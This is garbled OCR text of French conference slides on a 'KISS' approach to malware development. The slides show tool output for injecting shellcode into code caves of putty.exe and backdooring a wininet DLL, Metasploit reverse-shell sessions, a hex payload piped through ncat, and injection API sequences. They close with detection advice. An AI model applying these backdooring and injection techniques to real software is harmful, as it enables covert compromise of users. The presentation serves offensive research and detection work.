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« Explorer une alternative aux technigues complexes
d'injection de shellcode, en privilégiant la simplicité

dans le developpement de malwares »
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« J'ai eu une idee sous la douche, discutons-en

\

autour de POC pour voir si elle peut servir a
quelque chose »
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une breve histoire
du shellcode
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So now that we know that we can modify the return address and the flow of
execution, what program do we want to execute? 1In most cases we'll simply
want the program to spawn a shell. From the shell we can then issue other
commands as we wish. But what if there is no such code in the program we
are trying to exploit? How can we place arbitrary instruction into its
address space? The answer is to place the code with are trying to execute in
the buffer we are overflowing, and overwrite the return address so it points
back into the buffer.
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[alephl]$ y shellc -ggdb -static shellcode.c
[alephl]$ gzdb

{gdb) disas h

Dump of

OuffFfFffE(¥ebp),¥eax
Feax
BuffffFffB(%ebp),%eax

#include <s

BxBO0a158
. ' BxEPRe159 <mai
VOld ITIEI ln( ) { End of assembler dump.
{gdb) disassemble

char *name[2]; Dun

p of assembler
xE00a2

m

m

esp,%ebp

m

@ h B
m

name[@] = "/ 'sh™;
name[1]
execve(name[@], name, NULL);

m m

ET == = - ]
m |rh |rh |rh |rh m

oo
m Iﬂ:l |rh |rh |rh

WD o= gho = h
m |rh |rh m

oroa
m

End of assembler
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The problem is that we don't know where in the memory space of the

program we are trying to exploit the code (and the string that follows
it) will be placed.

« si le payload est copie octet par octet a une autre
adresse, il devrait continuer a marcher »
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> exemple d'utilisation basique

“"${PADDING_BEFORE}dd00dd01dd02dd03d05e5cbc8f6100d0505add00dd00dd8fc0a80532dd8f
f6200d0005bdd5bdd5add02d@5e5¢cbc8f5a00f3025befdd8f27736800dd812f62696ed05e5bdd00
\ | ncat -v 127.0.0.1 79

Ncat: Connected to 127.0.0.1:79.
Ncat: 532 bytes sent, @ bytes received in ©0.11 seconds.

/bin/hostname
simh

B
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[#] Generating payload winreverse (x86, win32, reverse)...

[*] Payload generation complete (668 bytes)

[*] Using return address @x77838eef with scratch pad at 0x7ffdel@cc
[*] Connection from 192.168.20.140:1039...

Microsoft Windows 20080 [Version 5.80.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>hostname
hostname
srv@l

C:\WINNT\system32>ver
ver

Microsoft Windows 2000 [Version 5.00.2195]

# ./fTrameworkl/cli ./frameworkl/exp/msrpc_dcoml overflow.exp payload=winreverse RHO05T=192.168.20.140
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> une complexité grandissante
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msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > use exploit/windows/http/prtg_authenticated_rce
[#*] No payload configured, defaulting to windows/meterpreter/reverse tcp

shellcode meterpreter utilisé pour un exploit web

Agent: |Demon |
. 5 Options
I . r 1
Listener: HTTPS -
Arch |64 M|
2.16§.1.104
NT AUTHORITY\SYATEM @ JCME-14E429D2B5 (ADMIN) Format 'Windows Shellcode -
Config Value
Sleep o
Jitter 15

Indirect Syscall
Stack Duplication

R tomcat_mar deplo - n
-

Sleep Technique WaitForsingleObjectEx -
Sleep Jmp Gadget MNone -
92,168, 1. .
R2200 -0 s 2t L 100 1 Proxy Loading None (LdrLoadDll) =
Amsi/Etw Patch None =
b Injection

Console 4 X | Services X 6 X X |

[*] starting build

[*] no sleep obfuscation has been specified
[*] sleep jump gadget option ignored

[*] stack duplication opticn ignored Agent confi
[*] no proxy loading technique specified (using LdrLoadD| g g
[*] amsi/etw patching disabled

: X [*] config size [532 bytes]

[P me Information [*] compiling core d11...

= x Arch: x64 ¥

e

=

=]
Format: Shellcode M

A

Sleep (Jitter %): 4s 0 >

. Havoc
Armitage Adaptix
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modules / code

4 VirtualAlloc() stack
memcpy ()
Process Injection < VirtualProtect()
\ CreateThread() D4 8B 27 F1 5C A@ 39 7E 12 C6 EOS

43 8D 51 B7 OA 62 F8 14 AD 93 35

QCE 76 @B E2 49 ..

heap




modules / code

4 VirtualAlloc() stack

memcpy ()
Process Injection-< VirtualProtect()

\_ CreateThread()
stub pour chargement

. mémoire de DLL
4 VirtualAlloc()

. memcpy ()
Reflective DLL VirtualProtect()
Injection

J

\_ CreateThread()

payload compilé
en DLL
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séquence d'appels API

Reflective DLL
Injection

séquence d'appels API

4 VirtualAlloc()

memcpy ()
Process IanCtLOP'< VirtualProtect()

\_ CreateThread()

virtualAlloc()

memcpy ()
VirtualProtect()

C CreateThread()

OBALT STRIKE

ADVANCED THREAT TACTICS FOR PENET 'RATION TESTERS

modules / code

donnée chiffree

stack

meémoire RWX

stub pour chargement
mémoire de DLL

heap

payload compilé
en DLL
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T*a”in"julitor'bigh or high school. I've listened to teachers expll
for the"fifteentl timé how to"reduce a”fraéction. "I"understand it. "No, M
Smith, " I°didn*t sHow 'my work.  Tdid it in my head..."

Démn k14" Probably c¢opied it. They're all alike.

==Phrack Inc.s« i“madé a’'discovery today. ‘I"foind a“computer. “Wait'a second, thi

=»Phrack

ga o
cool " “It"does what'T want it 'to:. If'it'makes”a mistake; it's because I
screwed jYoipme Hok eauae?;t“huiauito}x!é me. ..

Voluma® Une, 1 @ /z,Bhile 3.0 .1
6f“fesls threatensd by ma®..
mem—mem-mew-w-m-m-m-s-w-s-=OQP-thEnkE=l Mea"SMARE=a8E Y ¥-"-n-m-m-w-m-m-m-m-w-m==

PIC Your Malware! ) Modern implant design: position independent malware
development

- 202 .3 #

05 - BruCON 0x0D - PIC Your Malware! - Ben Heimerdinger and Sebastian Feldmann

‘: BruCON Security Conference s
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Original Metamorphicated (example)

push rbp # push rbp
# mov rbp, rsp # mov rbp, rsp
push ris push ro
push rili push ris
sub rsp, 406h sub rsp, 38h

xor rax, rax mov rdx, ©
mov [rbp+var_1B], rax mov [rbp+var_33], rdx

l ¢‘ lllustration 1: Example metamorphications by Dittobytes (left and right are functionally equivalent).
In Memory Of In-Memory Detection

- Tijme Gommers

EJ
e’

In Memory Of In-Memory Detection - Tijme Gommers

@2 OrangeCon
@YY 106K subscribers

Stop Injecting, Start Blending: Une approche KISS du développement de malwares

20



séquence d'appels API

Reflective DLL
Injection

séquence d'appels API

4 VirtualAlloc()

memcpy ()
Process IanCtLOP'< VirtualProtect()

\_ CreateThread()

virtualAlloc()

memcpy ()
VirtualProtect()

C CreateThread()
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modules / code

4 VirtualAlloc() stack

memcpy ()
Process IanCtLOP'< VirtualProtect()

\_ CreateThread() \\

séquence d'appels API
virtualAlloc()

stub pour chargement
mémoire de DLL

. memcpy ()
Reflective DLL VirtualProtect()
Injection

J

\_ CreateThread()

payload compilé
en DLL
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Red Team Notes

OFFENSIVE SECURITY

APC Queue (

Update 10

Patchless threadless via Tampered syscalls via Exploiting EDRs for evasion - Preventing Exploiting EDRs for evasion
hardware breakpoints hardware breakpoints EDR from taking action - EDR LOLBINS

Introducing Early Cascade Injection: From
Windows Process Creation to Stealthy

Update 9
Injection
Ghost process Herpaderping process Shellcode Reflective DLL (sRDI) Ghostly hollowing
Dima v Wouw | October 15, 2024
Herpaderply hollowing Remate module stomping Process hollowing PSExec implementation

jegelenbrink at Outflank

Introduction

09/09/2022
Early Bird APC
In

10/08/2022
19/07/2022

13/06/2022

10/04/2022

WriteProcessMemoryAPC - Write memory to a remote process using APC ca
Another alternative to WriteProcessMemory, this time by scheduling APC calls to call RtlFil

Clipboardinject - Abusing the clipboard to inject code into remote processes

Using the Windows clipboard to transfer code into another process without explicitly alloca

AddExelmport - Add a hardcoded DLL dependency to any EXE

A tool to modify an EXE file on disk to add an extra DLL import entry

ProcEnvinjection - Remote code injection by abusing process environment strings

Injecting custom code into a remote process using the TpEnvironment parameter of CreateProcess

ImportDLLInjection - An alternative method of injecting DLLs by modifying PE headers in
memory

Adding a DLL to the import table of a newly-created process in memory
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Mame

rdata
Idata
rdata
.data
pdata

D0cfg

&
i

00000001401 20068
Q00000014070 32000

O000000140137000
00000001401 3F000
0000000140140000
O000000140143000

O000000140144000

Stop Injecting, Start

Q00000014070 32000

000000014013 7000
O00000074013F000
O 0140140000
O000000140143000
O000000740144000
0000000140145000

Blending: Une

sub_ 1

algn_148

approche KISS du développement de malwares
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> recherche de code caves

> python3 find caves.py putty.exe ——min-size 180
[+] Found 14 cave(s) - 15019 bytes total

Cave #1
Section : .text
FileOff : OxQ00ED645
RVA : OxXOPO0OEE245
VA : Ox00000001400EE245
S5ize : 443 bytes
FELL : NULL+INT3

E{g Stop Injecting, Start Blending: Une approche KISS du développement de malwares
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text code <

4D
95
11
79
84
70
F6
02
co
B7
21
08
50
05
FD
33
A6
BD

cC
cC

5A
4C
E7
D5
E6
9A
40
74
B2
13
27
1F
FD
AF
FF
85
32
85

cC
cC

87
83
2D
26
31
05
92
4B
67
AC
6E
9A
3F
EA
46
04
13
32

. CC

cC
cC

2A
17
90
8C
4A
F3
21
5F
31
D2
94
01
78
E3
22
82
D7
El

CC
cC
cC

DS
DO
BC
B2
F9
6F
2D
DF
A6
=
DF
D1
01
Cc7
5F
ED
CA
97

CC
cC
cC

OF
5A
53
57
84
A3
24
EB
8F
87
87
27
oA
6E
8A
FF
P)
41

CC
cC
cC

74
BE
08
oD
16
B8
4D
c7
6E
53
B7
67
21
45
5D
74
08
29

CC
cC
cC

B3
36
F4
E6
Cc3
1F
FoO
22
30
4F
28
DO
1A
27
D2
50
8B
4D

CC
cC
cC

68
9F
6A
31
6F
61
9F
A2
57
c7
B3
1E
A3
C2
A8
80
F1
37

CC
cC
cC

FA
C8
Al
4A
28
26
8F
5C
32
4E
D9
8D
C6
50
12
2A
55
F9

cC
cC
cC

21
45
3E
F9
DB
75
=
03
FA
26
08
4B
6F
OE
59
D7
29
9E

CC
cC
cC

code cave



text code <

4D 5A 87 2A D9 OE 74 B3 68 FA 21
95 4C 83 17 DO 5A BE 36 9F C8 45
11 E7 2D 90 BC 53 08 F4 6A Al 3E
79 D5 26 8C B2 57 @D E6 31 4A FS
4 EB_BSaARFofs4af16fC3] 6F)28)DB

@ 9A 05 F3 6F A3 B8 1F 61 26 75
F6 40 92 21 2D 24 4D FO SF 8F E1
02 74 4B 5F DF EB C7 22 A2 5C 03
Co B2 67 31 A6 8F 6E 30 57 32 FA
B7 13 AC D2 E1 87 53 4F C7 4E 26
21 27 6E 94 DF 87 B7 28 B3 D9 08
08 1F 9A 01 D1 27 67 DO 1E 8D 4B
50 FD 3F 78 01 0A 21 1A A3 C6 6F
05 AF EA E3 C7 6E 45 27 C2 50 OE
FD FF 46 22 5F 8A 5D D2 A8 12 59
33 85 04 82 ED FF 74 50 80 2A D7
A6 32 13 D7 CA 62 08 8B F1 55 29
BD 85 32 E1 97 41 29 4D 37 F9 OE

2.

6.

Jump sur la code cave cave

Retour a I'exécution nominale

code cave



> 1nsertion de shellcode

> python3 insert assembly.py —assembly calc.bin —target putty.exe —offset '0x000ED645'

[*] Disassembling entry point to collect complete instructions...

[*] Stolen 9 bytes from EP (VA 0x00000001400BFB24)

[+] Cave payload : 24B prologue + 173B shellcode + 24B epilogue + 9B stolen EP + 5B jmp-back
[+] Wrote 235 bytes at file offset Ox@00ED645

[+] Entry point patched - JMP to cave VA 0x00000001400EE245 (returns to EP+9 = 0x00000001400BFB2D)

[+]

Saved patched binary - putty_patched.exe

mw=a

~
W m
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A9 FF FF EB 4 6 .eteyyey «<pyHf p. g 48 30 4
01 00 00 00 : : .. . 40 48 8B EA
CC 40 55 48 C : ) 04 fi .. 4 4 28 ¢ 85 80
B3 C4 20 5D E9 4 48 . .HfA 1é8.p; 4 4 48 8D 15
8B EA B9 . C4 sD i .o HT . C : 4 C2 80
FF CC 40 55 & C : 48 &..pj Fi Hed FF 28
08 48 83 (4 2 y 2A .HfA 1é , C3 , 4 EC 20
EC 30 48 ' : : : ) 87 9B
2A FF FF : : 20 4 3 y f . : 20 4 . 01 81
3 ¢4 5 ) 2 FF , HfA 16/*yyii 4 0C 4 04 33
48 BB 4 ) 4 AC 8D 4 4 SHLMXL . 4 cC ccC
00 £ 48 \ CC CC CC
55 4 28 4 EA ¢ , SUHFi(H«&HM C CC CC
FF 48 A0UPJF} . UHH«. C CC CC
63 7B : cC cc
05 20 CC CC cc
20 18 48 cC ccC
85 48 8B CC cC cc
DF 8D CO cc cc
CF 8A : 4D 40 ¢ CC cC cc
5D 5 40 55 48 83 cC cc
FD 9 ¢ 20 5D CC CC cc
48 ) FE FF cc cc
BA 4 48 83 CC CC cC
83 7D 4 . C CC CC
00 00 48 63 =f}D.t(H«.£... C CC CC
E1 BC 04 .H«AHA®@ .H..3E..f C CC CC
64 C8 . . .EH«.AgdEBpH C CC CC
FF FF : C CC CC
48 8B CC CC cC
FE FF C CC CC
38 05
Co EB

w
hoLh

oo
%]
M T m M T
M T m T
%]

[ls]

[ = e I L S
o

]
P LD L L

L =RV ]
W o—= 0

=)
=

(]
o
=]
-
f

[
N

=)
m
[
[
(]
~

m
[
[
f

[
N

(@]
oW
(SRR}

sl al

(]

Y

putty patched.exe putty.exe
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Stop

putty_patc...

Injecting, Start

PuTTY Configuration

Default Settings

© Only on clean exit

Open Cancel

Blending: Une approche KISS du développement de malwares
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> limitations
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Trouver plus d’espace
dans la section .text?



>Code qui n'est jamais atteint par le programme
> Peut étre ecrase pour libérer de l'espace

> Particulierement pertinent dans le cas des
bibliotheques chargées
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. Doute (l -

>Code qui n'est par le ~ﬂ M
N ’ ’ Yy s a v
>Peut etre ecrase pour liberer de lespace

> Particulierement pertinent dans le cas des
bibliotheques chargées
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> | 'execution de code n'est pas déterministe
> Dépend de ou/quand/comment le programme est lancé

> Indirect jumps/calls, résolution dynamique de fonctions,
branches dépendant des entrées, exceptions..

?fli Stop Injecting, Start Blending: Une approche KISS du développement de malwares
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Stop

Posts module id, start, size:

5 Ways To Get Code Coverage From a Binary, From Mundane module[ 29]: ©x000000000008c3de

to Arcane module[ 29]: 0x000000000008c3e3,

17 April 2023 - @& module[ 2 Ox000000000008c3f5,

» module[ 2 0x0000000000172020,
= ;eeinglogic 7 module[ 2 Ox00000000002670c0, 3
a "‘ Dev/hacker exploring software and security through visualizations mo d u 'L e [ 1 0):800 0 08@0 G 082 98 C'B , 1 2
module[ 1 Ox000000000002e8cc, 11
module[ 1 0x0000000000086010, 5

Code coverage lets you see what happens when a program is executed, but what do you Tools to get code coverage from binaries module [ 0x00000000000bFh24 0

oot conping e prosrmyeee How (0 get edge coverage rom binares 1 module[ 6x00000000000bFd88, 35

In the first post of this series, we talked about the basics of coverage and how to get it How to get code coverage with a scriptable m:'_:ldule [ OXDUOOODUO OO{)bf@lf ' 2 1

with a compiler, but if you value coverage in your workflows you'll need ways to get AR module [ Ox00000000000bTh2d g

coverage when you only have a binary. The nice part is that if you have werkflows tha How to get code coverage with a time- S ] ' ‘ . - !
S U taveing debugger module[ 6]: ©x00000000000bTILO, 20

work for binaries, they'll still work when you're compiling frem source. - _
How to get code coverage with an emulator module [ Ax00000000000hTcE4 s 34

Having different ways to collect coverage helps us leverage tools things like bncov and How to get code coverage with DynamoRIO module [ Ox0AOEAEAOMEAOCOLAS 80

e ; e . ) - o : and drcov S ’ . - - !

Ariadne to do cool analytics and visualization, which we'll cover in our in 3-part series. O module [ 0x00000000000c01cl , 31
Part 1: Code coverage explained rewriting module[ Ox00000000000cO1e0, 7
Part 2: 5 ways to get coverage from a binary (this post) Ul GO0 G ) T U e module [ Ox00000000000c e? ’ 7
Part 3: Automated coverage analysis techniques mt—-:'du-Le [ GKDUGGGDUGGGD':U]-E'E ¥ 10

module[ Ox00000000000c021c, 20

Tools to get code coverage from binaries module|[ Ox00000000000c0230, 28

Today we're going to look at getting coverage from binaries, and we'll be focused on module [ 0x00000000000c024C ’ 37

block coverage since it is the easiest and requires the lowest overhead in terms of module [ Ox00000000000c0271 ' 24

e Ly e module[ 0x00000000000c0289, 6

exemple de sortie drcov
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v

0003b53a mov edi, dword [rel last_read_token]
0603b540 cmp edi, 8x109
0003b546 je 8x3b95f
|
v | v
eax, dword [rel line_number] 8003b54c call reserved_word_acceptable
rdi, [rsp+0x4@ {var_48}] 0003b551 test eax, eax
dword [rel arith_for_lineno], eax 0003b553 je 0x3b2dc
parse_arith_cmd ||
eax, Ox1 #
8x3bb35
0003b559 1lea rdi, [rsp+@x4@ {var_48}]
iJ 0003b55e call parse_arith_cmd
0003b563 cmp eax, Ox1
alloc_word_desc 0003b566 je 0x3bb40
esi, esi {o0x0} |
r15d, oexl1le *
rdi, rax i
rax, qword [rsp+0x4@ {var_48}] 0003bb4@ call alloc_word_desc 00083b56c test ea)
gword [rdi], rax 0003bb45 xor esi, esi {0x0} 0003b56e  jne axy
make_word_list 0003bb47 mov r15d, ex11d
gword [rel yylval], rax 0003bb4d mov rdi, rax [$——————
B8x39be3 0003bb50 mov rax, qword [rsp+0x4@ {var_48}]
08803bb55 mov dword [rdi+8x8], 0x880832 8003b574 mov rdi, qword [rspd
0803bb5c  mov qword [rdi], rax 0003b579 xor edx, edx {@x@}
0003bb5f call make_word_list 8083b57b xor esi, esi {@Bx0}
0083bb64 mov qword [rel yylval], rax 0003b57d call push_string
0003bb6b  jmp B8x39be3 0003b582 mov rax, qword [rel

0003b589 mov dword [rax+8x34]
0003b590 mov eax, dword [rel
0003b596 test al, oxi

CFG genere

par binary ninja

neuds {3,4} ne sont pas
atteignables depuis {0,1,2}

Stop Injecting, Start Blending: Une approche KISS du développement de malwares



Disasm General Strings DOS Hdr File Hdr Optional Hdr Section Hdrs Imports Rescurces Exception Exported Functions [ 854 entries ]

o+ g Ordinal Function RVA Mame RVA Mame Forwarder
3E8 37050 -

3ES 41930 SEGEB |_ScGetCurrent...

3EA SEGBD SEBAS A_SHAFinal

3EB SEECB SE6C1 A_SHAInit

3EC SEGET SEGDE A_SHAUpdate

3ED 522C0 SEGFD AbortSystemSh...

Offset MName Funec. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MameRVA
124170 GDI32.dIl 1 FALSE 12BA28 12E87A
124184 IMM32.dIl FALSE 12BBCE 12E834
124198 oled2.dll FALSE 12BBFS 12EBBE
12A1AC USER32.dlI FALSE 12BC18 12E808
1241C0 KERNEL32.dlI 42 FALSE 12BFDE 12EBA3 - R SETOE AbortSystemSh
124104 SHELL32.dll FALSE 12C480 12E8B0 = Sen o L

12A1E8 COMDLG3ZdIl 6 FALSE 12490 12E8BC == SN e EEEe
1241 12gncn 34 3FD JMAAD 9E72F AccessCheckAn...

= ADVAPIZZ. I [ 15 entries ] Functions [ 834 entries ]

12CF e — e
12CFFD CopySid : 12E776 12E776 : 5 C56 3F6 36CB0 AccessCheckBy..
12CFF8 EqualSid 12E780 12E780 114 C56 JE30 i AccessCheckBy..,
120000 GetLengthSid : 12E78C 12E78C : 14B C368 4 42070 9ES AccessCheckBy..
120008 GetUserMamed - 12E79C 12E79C - 174 C56¢ 42130 AccessCheckBy...
120010 InitializeSecurit... - 12E7AC 12E7AC : 18F C57 A 34570 8 AddAccessAlle...
120018 RegCloseKey - 12E7CC 12E7CC - 265 C57 366B0 AddAccessAllo...
120020 RegCreateKeyExA - 12ETDA 12ETDA = 260 '8 422ED ) AddAccessallo...
120028 RegDeletekeyd - 12E7EC 12ETEC - 272 C57¢ IABAD 9 AddAccessDeni...
120030 RegEnumKeya - 12E7FC 12E7FC - 282 C58 42300 AddAccessDeni..,
120038 RegOpenKeyExd - 12E804 12E804 = 29 ( 42320 AddAccessDeni..,

imports de putty.exe exports de advapi32.dLl

=T =T T T T ]
=T =T T T T ]

=1
=1
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X

(L) > Downloads > putty

® New T Sort

> DLL sideload

¢} Home MName Date modified

@5 OneDrive - Personal 2 oty eve
._—.f'z "‘tht:""c!"te

o Desktop

¥ Downloads

B This PC
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> recherche de deltas

b2 2P S0 WD S S WS

python3 deadfunc.py ./openvpn-gui.exe —--dll-dir ./libs
DLL Path Size Imported Exported
SHELL32.d11 libs/shell32.d11 7.4 MB b 842
WININET.d11 libs/wininet.d11l 2.6 MB 1@ 327
ntdll.dll libs/ntdll.dl1l 2.4 MB 8 2517
USER32.d11 libs/user32.dll 1.8 MB 83 1205
ole32.dll libs/ole32.dl1 1.6 MB 4 557
CRYPT32.d11 libs/crypt32.d11 1.5 MB 7 307
WINHTTP.d11 libs/winhttp.dll 1.2 MB 5 91
COMDLG32.d11 1libs/comdlg32.dl1l 936.0 KB 1 30
KERNEL32.d11 1libs/kernel32.dl1l 816.6 KB 130 1692
ADVAPI32.d11 1libs/advapi32.dll 735.9 KB 49 854
COMCTL32.d11 1libs/comctl32.dll 7125.5 KB P 181
ws2 32.d11 libs/ws2 32.d1l1 522.1 KB 16 196
SHLWAPI.d11 libs/shlwapi.dl1l 417.1 KB b 931
CRYPTUI.d11 libs/cryptui.dll 376.0 KB 1 56
IPHLPAPI.DLL 1ibs/IPHLPAPI.DLL 211.3 KB 1 313
GDI32.d11 libs/gdi32.d11 183.0 KB 14 1008
WTSAPI32.d11 1libs/wtsapi32.dll 175.0 KB 2 76




1886852378

188852381
1886852381
18885238b
18885238b
18885238b
188852392
188852392
1886852392
188652392
1886852397
1888523%9¢c
1888523%¢c
18868523a1
188852308
188852308
1888523b8
1888523ba
1888523ba
1888523bc
1886523cH
1888523cc
1888523cc
1888523d3
1888523d3
18868523e2

1888523e3

uinte4_t AbortSystemShutdownW(wchari6* argl)
wchar16* const rsil = & string’ ::

if (argl !'= @)
rsi = argl

enum WIN32Z_ERROR dwErrCode_1
enum WIN32Z_ERROR dwErrCode

if (#rsi == 8)
dwErrCode_1 = WsdpAbortShutdown(rsi)
dwErrCode = dwErrCode_1

if (#rei '= 8 || dwErrCode_1 == ERROR_INVALID_FARAMETER)
dwErrCode =
BaseBindToMachineShutdownInterface(rsi, NewAbortShutdownCallback, 8, 8)

bool cond:® = dwErrCode == NO_ERROR
if (dwErrCode !'= NO_ERROR)
SetLastError{dwErrCode)
cond:® = dwErrCode == NO_ERROR
int3Z2_t rbx
rbx.b = cond:B

return zx.q(rbx)

CC CC CC CC CC-CC CC CC CC CC CC CC CC




Technique Fiabilité Espace disponible
Code Cave +++ —-
CFG Emulation o i
Binary Code Coverage
DLLs Import/Export Diffs S -




rouge = espace disponible

visualisation du code mort pour du shellcode

putty.exe crypt32.dll

code caves coverage code caves coverage  imports diff




> python3 backdoor functions.py —-—targets ./openvpn-qui targets.json —dll ./libs/wininet.dll --shellcode ./calc.bin

[*] Found appropriate function: CommitUrlCacheEntryA (677 bytes available at 0x1801430e0)

L+] LadVe payLl0dU . 44D piologue + L1/3b ShieLllode + 44b epilogue + oOb sitoien e + OB jmp—back

[+] Wrote 231 bytes at file offset 0x001430E0
[+] Entry point patched - JMP to cave VA 0x00000001801430EQ (returns to EP r

[+] Saved patched binary - libs/wininet_patched.dl1l
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modules / code

4 VirtualAlloc() stack

memcpy ()
Process IanCtLOP'< VirtualProtect()

\_ CreateThread() \\

séquence d'appels API
virtualAlloc()

stub pour chargement
mémoire de DLL

. memcpy ()
Reflective DLL VirtualProtect()
Injection

J

\_ CreateThread()

payload compilé
en DLL

CROBALT STRIKE J

ADVANCED THREAT TACTICS FOR PENET 'RATION TESTERS

heap




modules / code

4 VirtualAlloc() stack

memcpy ()
Process Injection-< VirtualProtect()

\_ CreateThread() \\
stub pour chargement

Ve mémoire de DLL

VirtualAlloc()

. memcpy ()
Reflective DLL VirtualProtect()
Injection

_/

\_ CreateThread()

payload compilé
en DLL

CROBALT STRIKE J

ADVANCED THREAT TACTICS FOR PENET 'RATION TESTERS

heap




> Appel direct au shellcode > Compilation et lancement d’un agent sans shellcode

README . md

Mythic Agents Organization

v 4

Pinned

3 Apolio P

A NET

B apfell

B bloodhound | pubiic

agent for ¥
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conséquences sur la deéetection
(spoilex: rien de nouveau)



>Se concentrer sur des comportement (quoi) plutot que des
implémentations (comment)

> Chercher des root cause invariables
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eTough!

Tools eChallenging

Network/ oA .
Host Artifacts nnoying

Domain Names eSimple

IP Addresses \ eLasy

Hash Values eTrivial

B 5
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> Que fait ce processus, est-ce légitime ?

> Acces disque/Internet/LDAP/SMB peu usuels
> Scans réseaux et exploitation de vulnérabilités
> Acces a des identifiants

> Création de sous-process
> amm

> Aller au-dela de l'endpoint |

i{g Stop Injecting, Start Blending: Une approche KISS du développement de malwares

54



> un use—case adapte pour 1'IA

. 14:38:55% UTC

SSH login — sshd [979830] accepts connection from scrubbed IP
. 14:39:40 UTC

Interactive shell — bash [979847] spawned for user
. 14:42:19 UTC

Binary staged — mv update /home/<user>/ [979908] — ELF binary moved to user home directory
. JA:42:42 U

Exploit executed — _ /update [979919] — dropped ELF binary runs

SHA256: 0019d898bdfof4700343933abac4bl7846aefad32ed3964e3bebe511a95b6ba3
. 14:42:42 UTC

Privilege escalation — su [979923] spawned by ./update — SUID exploitation to gain elevated privileges
. 14:53: 29 UTC

LDAP auth config modified — .AuthLDAP.php.swp created in /var/www/html/glpi/src/ — vim editing GLPI's LDAP authentication module (potential backdoor insertion)

mw=a

w4
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conclusion

S Q
\y@w®§§§§§§§§§§§§§



>La team Unlock (@QUYBHYS)
> 0range Cyberdefense (@OrangeCyberdef)

> Claire VACHEROT (@non_curat_Llex)
Jean-Pascal THOMAS (@vikingfr)
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> Pourqguoi utiliser du shellcode pour lancer un C2 ?

> Le métamorphisme a la compilation remplace-t-il
lobfuscation dynamique ?

> Comment considérez vous le niveau de maturité des
outils existant en terme de détection comportementale ?
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https://tinyurl.com/blendshellcode

Mexci !
Trugarez !

W @d3lb3_
/£ https://d3lb3.github.io



https://tinyurl.com/blendshellcode
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